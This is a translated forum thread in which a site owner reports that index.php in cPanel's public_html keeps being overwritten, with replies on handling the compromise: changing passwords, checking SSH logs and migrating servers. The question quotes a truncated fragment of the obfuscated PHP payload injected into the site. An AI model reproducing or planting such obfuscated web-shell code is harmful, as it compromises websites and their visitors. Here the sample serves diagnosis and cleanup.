在 Cpanel pubilc_html索引下.php会自动创建



在我的CPanel中public_html(网站根目录(索引下.php使用以下代码(;_;)覆盖任何索引.php文件

<?php $z1OYQeXkoA='*3wO*bE*3w/*aY*3w,#*3wO*bE*3w/*aY*3w#,*2wT*aI*1wP*bR,#*2wT*aI*1wP*bR#,*1wn*bm*2wn*aR*1w,#*1wn*bm*2wn*aR*1w#,*4wO*bp*1wm*aM*3w,#*4wO*bp*1wm*aM*3w#,*1wX*bq*5wY*aU,#*1wX*bq*5wY*aU#,*4ww*aL*5wL*bV*2w,#*4ww*aL*5wL*bV*2w#,*1wh*bT*4wI*aa,#*1wh*bT*4wI*aa#,*4wM*ba*4wt*ai*4w,#*4wM*ba*4wt*ai*4w#,*4wA*btD*aO*2w,#*4wA*btD*aO*2w#,L*aA*3wQ*bo*2w,#L*aA*3wQ*bo*2w#,*4wV*bAC*a/*2w,#*4wV*bAC*a/*2w#,*4wy*bx*1wo*ak*4w,#*4wy*bx*1wo*ak*4w#,*2ws*aj*5wa*bY*3w,#*2ws*aj*5wa*bY*3w#,*4wj*aN*1wr*bO*4w,#*4wj*aN*1wr*bO*4w#,*5wz*awH*bF*4w,#*5wz*awH*bF*4w#,K*bC*4wa*as,#K*bC*4wa*as#,*2wN*al*4wU*bz*2w,#*2wN*al*4wU*bz*2w#,*3wq*bL*4wJ*aF*1w,#*3wq*bL*4wJ*aF*1w#,*3wp*af*4wj*bu*2w,#*3wp*af*4wj*bu*2w#,*5wF*bZ*1wq*aD,#*5wF*bZ*1wq*aD#,*1wo*bw*4   --like this(*code is too long)

似乎您的服务器已受到威胁。尝试清理服务器,更改密码(所有ftp,cPanel(并尝试上传文件。

您的服务器/帐户已遭到入侵。直接的解决方案是将所有数据移动到另一台具有强密码的服务器上,如果可能的话,使用私钥/公钥对。此外,如果您可以使用VPS,请避免使用cpanel或类似的应用程序。

移动文件所花费的时间越多,它的影响就越大。

首先,我会将所有密码更改为您的CPanel。听起来确实有人像@delboy1978uk所说的那样破坏了您的服务器。我对 CPanel 的了解略有有限,但据我所知,除了 .htaccess 和一些配置文件之外,它通常不会写入文件。

如果您对服务器有SSH访问权限,我还会查看已成功的SSH连接,因为这将显示其他人是否与您的服务器建立了SSH连接。您很可能会在这里找到这些:

/var/log/secure
/var/log/messages

我还建议您投资为您的网站设置自己的VPS,因为您将对服务器拥有更多控制权。当然,共享主机可以消除很多痛苦,但调试包括此问题在内的问题也可能是一种痛苦。您可以使用类似的东西 数字海洋 Vultr 因为它们真的很便宜并且具有高性能。

如果您没有设置LAMP或LEMP堆栈的实际经验,您还可以使用DigitalOcean上的教程来了解如何执行此操作。如果您真的熟悉 CPanel 并希望保持相同的界面,您甚至可以购买自己的 CPanel 副本并将其安装在服务器上。

我希望这有所帮助,并为您提供更多信息。

最新更新